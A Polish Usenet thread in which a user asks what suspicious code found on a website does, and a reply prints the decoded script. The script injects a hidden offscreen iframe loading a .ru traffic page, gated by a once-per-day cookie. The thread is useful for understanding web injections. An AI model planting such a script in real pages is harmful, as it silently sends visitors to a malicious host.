🚀 go-pugleaf

Dzięki!



W dniu 2013-09-23 12:02, rePeter pisze:
> Sun, 22 Sep 2013 18:24:43 +0200
> "G.K." <"tertb69[rot13]"@tnmrgn.cy>   napisał(a):
>
>> Witam,
>> Znalazlem podejrzany kod na stronie, czy ktos moze mi pomoc go
>> odkodowac? Co on robi?
>
> Wstrzykuje ruskiego szpiega ;)
>
> function cy09() {
> 	var static='ajax';
> 	var controller='index.php';
> 	var cy = document.createElement('iframe');
> 	cy.src = 'http://fortuna-taxi.ru/traf.php';
> 	cy.style.position = 'absolute';
> 	cy.style.color = '9954';
> 	cy.style.height = '9954px';
> 	cy.style.width = '9954px';
> 	cy.style.left = '10009954';
> 	cy.style.top = '10009954';
> 	if (!document.getElementById('cy')) {
> 		document.write('
> 		');
> 		document.getElementById('cy').appendChild(cy);
> 	}
> }
> function SetCookie(cookieName,cookieValue,nDays,path) {
> 	var today = new Date();
> 	var expire = new Date();
> 	if (nDays==null || nDays==0)
> 		nDays=1;
> 	expire.setTime(today.getTime() + 3600000*24*nDays);
> 	document.cookie = cookieName+"="+escape(cookieValue) + ";
> 	expires=" + expire.toGMTString() + ((path) ? ";
> 	path=" + path : "");
> }
> function GetCookie( name ) {
> 	var start = document.cookie.indexOf( name + "=" );
> 	var len = start + name.length + 1;
> 	if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
> 		return null;
> 	}
> 	if ( start == -1 )
> 		return null;
> 	var end = document.cookie.indexOf( ";", len );
> 	if ( end == -1 )
> 		end = document.cookie.length;
> 	return unescape( document.cookie.substring( len, end ) );
> }
> if (navigator.cookieEnabled) {
> 	if(GetCookie('visited_uq')==55){
> 	}else{
> 		SetCookie('visited_uq', '55', '1', '/');
> 		cy09();
> 	}
> }
>
>